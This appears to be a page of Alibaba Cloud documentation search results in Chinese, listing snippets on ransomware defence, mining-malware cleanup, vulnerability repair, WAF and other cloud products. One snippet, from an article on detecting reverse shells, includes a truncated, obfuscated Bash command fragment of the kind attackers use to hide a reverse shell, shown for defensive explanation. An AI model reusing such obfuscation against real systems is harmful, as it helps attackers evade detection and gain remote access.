云盾先知安全情报平台服务条款
“安全公司”是指：独立于阿里云的，通过云盾先知安全情报平台参与安全测试的专业提供安全服务的公司，能够识别计算机系统或网络系统中的安全漏洞，帮助企业在被其他人恶意利用之前修补漏洞，维护计算机和互联网安全。1.5.阿里云提供的服务...
勒索事件综合防护方案
勒索病毒入侵服务器或数据库后，会对您的业务数据进行加密勒索，从而导致您的业务中断、数据泄露、数据丢失等严重问题。本文介绍导致勒索病毒入侵的不安全因素，并提供相应防护方案。背景信息 您的业务系统存在以下问题时，会被攻击者利用...
意图
用户话术 用户描述用于识别用户说出什么样子的话术会进入到该意图当中去，因为利用算法支持了语义的泛化能力，所以无需配置说法差不多相似的用户描述。相似的表达方式，比如：我要买火车票、买火车票、买一张火车票 不同表达的方式，比如：...
概述
在金融、电商等行业，企业每天都在运转着大量资金业务，一旦由于系统原因或人为因素导致资金数据相关问题，若无法在第一时间发现问题，就会为企业带来巨大的经济损失。资金安全监控产品旨在帮助您发现资金损失的风险。该产品可以通过执行...
自定义文本库
定义“A~B”，则只有在句子中只出现“A”且不出现“B”时才会命中，同时出现“A”和“B”则不会命中。说明 与（&）必须在非（~）之前。例如，您可以设置“A&B~C”作为关键词，但不能设置“A~C&B”作为关键词。相似文本 相似文本是针对句子...
什么是应用防护
应用防护功能基于RASP（Runtime Application Self-Protection）技术，通过在应用运行时检测攻击并进行应用保护，为应用提供安全防御。您无需修改代码，只需在主机或容器环境的应用中部署RASP探针，即可为应用提供强大的安全防护能力，并...
安全违规信息类型说明
规则背景：《最高人民法院、最高人民检察院关于办理诈骗刑事案件具体应用法律若干问题的解释》、《中华人民共和国刑法》、《中华人民共和国反电信网络诈骗法》、《全国人民代表大会常务委员会关于维护互联网安全的决定》。非法活动类 包括...
处理挖矿程序最佳实践
服务器被挖矿病毒入侵后，挖矿病毒会消耗服务器的资源、降低生产效率、影响系统稳定性，对受感染的个人或企业用户构成严重的威胁。被入侵后，您需要及时响应并处理挖矿病毒，加固系统安全。本文介绍如何处理挖矿病毒。背景信息 挖矿程序的...
防勒索客户端和备份任务异常状态排查
如果防勒索客户端或备份任务出现了异常，会导致云安全中心无法保护您的重要文件或数据。建议您及时排查异常情况，防止勒索软件攻击导致的数据丢失或加密。本文介绍为服务器创建勒索防护策略后，防勒索客户端和备份任务异常状态的原因排查及...
智能分析-异常根因定位分析利器
传统监控只能去发现和通知那些已知可能会发生的故障，而可观测性则能够协助发现并定位未知的问题。OpenTelemetry作为当下可观测领域主流的开源项目，旨在提供可观测性领域的标准化方案，解决观测数据的数据模型、采集、处理、导出等标准化...
SFTP协议运维
运维地址解析出的IP可能会发生变化，请您使用堡垒机分配的域名地址进行运维，避免因IP变化而无法运维。操作步骤 打开SecureFX工具。单击左上角的 Connect，在对话框中单击 图标。输入堡垒机的运维地址、端口号（60022）和用户名，单击 OK。...
漏洞修复失败原因排查
在云安全中心控制台一键修复Linux软件漏洞或Windows系统漏洞时，如果出现修复失败，您需要根据提示信息，先解决导致修复失败的问题后再次修复漏洞。本文介绍在云安全中心控制台修复Linux软件漏洞和Windows系统漏洞失败的原因及解决方案。...
SFTP协议运维
如果目录名称出现乱码，您可以双击转码目录并忽略报错信息，再右键选择刷新，进行转码。清理客户端的缓存。以Xftp 7为例，您可以在顶部菜单栏选择 工具>选项，在 安全性 页签，清除历史记录。说明 如果以上方法都未解决您的问题，请加入钉...
漏洞修复最佳实践
云安全中心提供漏洞管理功能，支持扫描和修复常见漏洞类型，帮助您更全面地了解并及时修复资产中的漏洞风险。本文介绍漏洞扫描修复的优先级、流程及使用云安全中心修复漏洞的最佳实践。漏洞修复优先级 漏洞修复的优先级由以下因素决定：...
功能特性
重保场景防护 安全运营 功能集 功能 功能描述 参考文档 安全报表 安全报表 Web应用防火墙（Web Application Firewall，简称WAF）安全报表向您展示WAF不同模块防护规则的防护记录。您可以使用安全报表，查看已启用的基础防护规则、IP黑名单...
常见退信报错和解决方法
说明 提示信息仅供参考，有些不是完整语义，收信方存在自定义退信语义的情况。阿里邮箱报错信息 提示信息 退信原因 解决方法 spamed by local spam engine 该邮件被反垃圾邮件系统判断为具备垃圾邮件特征拒绝投递。退信提示：spamed by ...
安全告警概述
云安全中心支持实时检测资产中的安全告警事件，覆盖网页防篡改、进程异常、网站后门、异常登录、恶意进程等安全告警类型。通过威胁检测模型，提供全面的安全告警类型检测，帮助您及时发现资产中的安全威胁、实时掌握资产的安全态势。背景...
自定义钉钉机器人告警通知
数据安全中心DSC（Data Security Center）支持通过钉钉机器人在钉钉群实时发送异常审计告警和泄漏风险告警通知，以便于您及时处理异常问题，保障业务正常运行。本文介绍如何设置钉钉群接收告警通知。背景信息 您一次只能为一个钉钉群添加告...
配置HTTP/2
背景信息 HTTP/2也被称为HTTP 2.0，相对于HTTP 1.1的新增多路复用、压缩HTTP头、划分请求优先级、服务端推送等特性，解决了在HTTP 1.1中一直存在的问题，优化了请求性能，同时兼容了HTTP 1.1的语义。目前，Chrome、IE11、Safari和Firefox等...
产品简介
产品基于自然语言处理、机器学习技术和企业内部知识库，从相关性到认知智能，将语义、知识融入搜索过程和结果，提供高效、高准确率的搜索服务产品，帮助用户搜得到、搜得全、搜得准。面向企业客户，提供交互式多轮对话搜索、通讯录搜索、...
阿里云智能质检
条件：条件由检查范围和算子组成，如「客服的第一句话是“你好”」这个条件的检查范围是「客服说的第一句话」，算子是「出现关键字“你好”」，一个条件内可以包含多个算子组成的逻辑表达式。检查范围：目前支持的检查范围有下面3个基准...
收发邮件失败问题原因排查
常见场景排查：写邮件页面发送失败 点击“发送”按钮后跳出 消息提示，相关参考文档：阿里邮箱网页端发信常见报错 收信方服务器拒绝收信，并返回退信语义 请优先参考推荐的解决方案，若推荐的解决方案不合适，建议参考对方服务器返回的退信...
UnbindAegis-解除云安全中心绑定的非阿里云服务器
非阿里云服务器解绑后，该服务器将不再消耗您云安全中心的授权数（保有服务器台数或计算核数），即解绑后会释放出对应数量的授权数，可以用于防护其他的服务器。说明 只有非阿里云服务器才需要执行解除绑定的操作。阿里云 ECS 服务器无需...
服务条款
本服务条款是阿里云计算有限公司（以下简称“阿里云”）与您就安全管家服务的相关事项所订立的有效合约。您通过盖章、网络页面点击确认或以其他方式选择接受本服务条款，或实际使用阿里云提供的安全管家服务，即表示您与阿里云已达成协议并...
JindoFS介绍和使用
其他两种方式使用OSS也可以对接部分接口，但是能力和优势会有所不足。Block模式在费用上优于其他两种方式使用OSS。Block模式中，因为全部数据中占比60%的温数据和热数据都在本地有缓存备份，大部分读请求都不会通过OSS，所以可以节省一部分...
病毒查杀
如果再次出现当前告警事件，云安全中心会正常提供告警。我已手工处理 如果您已手动处理当前告警，请选择 我已手工处理，当前告警状态将更新为 已处理。单击 下一步。系统开始处理告警。处理完成后，您可以查看处理结果和告警状态。步骤三：...
语义挖掘工具
语义挖掘工具是通过对批量对话信息进行挖掘，聚类出这些对话中的意图，并将对话中的话术归入系统意图中。新建任务 点击语义挖掘工具右上角的新建任务即可唤出新建语义挖掘任务的弹窗，输入任务名称并选择数据源并按照数据源类型操作完成后...
客户端进程说明
出现以下任一情况，云安全中心服务端会判定该服务器客户端不在线，并将 该服务器的客户端状态从（在线）变成（离线）。您可以在 主机资产 页面查看服务器的客户端状态。服务端检测到和客户端的通信异常，包括但不限于网络异常、客户端进程...
容器主动防御
云安全中心会执行对应的检查项检查镜像是否存在问题。镜像命中对应检查项规则后，会根据规则配置生成告警。可配置的检测项类型：基线 漏洞 恶意样本 您可以按照您的业务需要，分别配置基线、漏洞和恶意样本的规则。重要 每一类配置项的可选...
打通全球办公的网络通道
全球办公主要是解决企业员工使用 办公安全平台 SASE（Secure Access Service Edge）App进行全球办公安全接入的场景，包括企业的海外员工访问海外办公业务场景、企业海外员工访问中国内地应用的场景、企业中国内地员工访问海外业务的场景。...
云平台配置检查常见问题
云的高度自动化和用户自助服务突出了正确的云配置和合规性的重要性，而随着云服务类型和数量不断增加，用户对云基础架构缺乏全面了解，会导致配置不正确和不合规问题可能长期存在，因此更需要对云安全配置的正确性与合规性进行全面和自动化...
什么是安全管家
上云及迁云过程中的安全架构指导 场景描述 企业在上云或迁云的过程中可能会面临业务层面、技术层面和管理层面上的一系列的安全问题，通过合理地部署云产品，可以解决这些问题。安全管家服务提供了云上安全架构设计指导和安全咨询服务，帮助...
基线检查
病毒和黑客会利用服务器存在的安全配置缺陷入侵服务器，盗取数据或植入后门。基线检查功能针对服务器操作系统、数据库、软件和容器的配置进行安全检测，可以帮助您加固系统安全，降低入侵风险并满足安全合规要求。本文介绍基线检查功能的...
服务器软件漏洞修复建议
创建快照后，如果出现问题可通过回滚操作恢复到修复漏洞前的系统和数据。说明 仅Linux软件漏洞和Windows系统漏洞支持自动创建快照修复漏洞。相关文档 查看和处理漏洞 漏洞修复最佳实践 漏洞修复完成后我是否还需要重启系统？云安全中心控制...
云安全中心反弹Shell多维检测技术详解
云安全中心会对落盘脚本文件进行文件落盘检测，检测的语言包括但不限于Bash、Python、Perl、Vbs、PowerShell、Bat、JAR等。{@~}""${@^}"$BASH${*%$9tcW\)zX}$("${@~}"$'\162'''e${*}v^{$")}^{$;}4S:\{\/CZ.!\?{$}^@{$"}~H7ONC{$"s%f\"t"n...
智能助手使用说明
该工具采用自然语言处理能力，可为您提供云安全中心产品的相关问题支持服务，覆盖云安全中心的产品咨询、使用指导、常见问题、安全领域知识问答等多种支持服务。本文介绍如何使用云安全中心智能助手。使用限制 仅支持已购买云安全中心防...
服务支持
常见问题 内容安全1.0版常见问题 相关协议 内容检测产品服务条款 内容检测API服务等级协议
使用前必读
开通日志分析后，系统会在日志服务控制台创建专属于云安全中心的Project，并在该Project下创建专属Logstore，云安全中心全量日志数据集中存放在专属Logstore（日志库）中。本文介绍在使用云安全中心日志分析功能前您需要了解的日志存储相关...
安全告警设置
安全告警设置功能支持管理您资产中的Web目录、设置告警白名单规则，可帮助您建立更精细化的威胁防护规则并对这些规则进行统一的管理，从而及时发现资产中的安全威胁，实时掌握资产的安全态势。本文介绍如何配置Web自定义目录和告警处置规则...
成为合作伙伴
本文介绍IoT安全中心的合作伙伴计划。成为IoT安全中心合作伙伴，可将您的安全芯片、安全模组、安全RFID标签等展示给其他用户。说明 如果您的企业是海外企业，请直接...IoT安全中心会根据实际项目的需求，向阿里云其他用户推荐您的安全元器件。
- 产品推荐
- 这些文档可能帮助您